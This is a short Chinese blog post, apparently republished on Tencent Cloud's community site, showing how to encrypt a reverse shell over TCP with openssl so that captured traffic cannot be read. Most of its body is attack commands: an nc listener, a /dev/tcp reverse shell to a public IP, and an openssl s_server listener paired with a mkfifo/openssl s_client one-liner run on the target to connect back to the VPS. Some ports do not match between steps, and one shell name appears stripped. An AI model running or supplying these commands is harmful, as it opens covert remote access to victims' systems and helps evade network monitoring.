首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >加密基于TCP通信的shell

加密基于TCP通信的shell

作者头像
逍遥子大表哥
发布2021-12-17 20:05:55
发布2021-12-17 20:05:55
9430
举报
文章被收录于专栏:kali blogkali blog

环境说明

  • 公网服务器一台
  • kali (内网)

简单的测试

在公网服务器执行命令

代码语言:javascript
复制
 nc -lvvp 4444

kali中执行命令

代码语言:javascript
复制
   -i >& /dev/tcp/公网ip/5555 0>&1

启动Wireshark开启抓包,分析流量。

测试

我们在终端中随便输入一条命令ifconfig,然后到Wireshark中查看。

openssl加密传输

第一步,在vps上生成SSL证书的公钥/私钥对

代码语言:javascript
复制
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

第二步,在VPS监听反弹shell

代码语言:javascript
复制
openssl s_server -quiet -key key.pem -cert cert.pem -port 4433

第三步,在目标上用openssl加密反弹shell的流量

代码语言:javascript
复制
mkfifo /tmp/s;/bin/  -i < /tmp/s 2>&1|openssl s_client -quiet -connect vps:443 > /tmp/s;rm /tmp/s

流量已经被加密。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境说明
    • 简单的测试
    • 测试
    • openssl加密传输
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档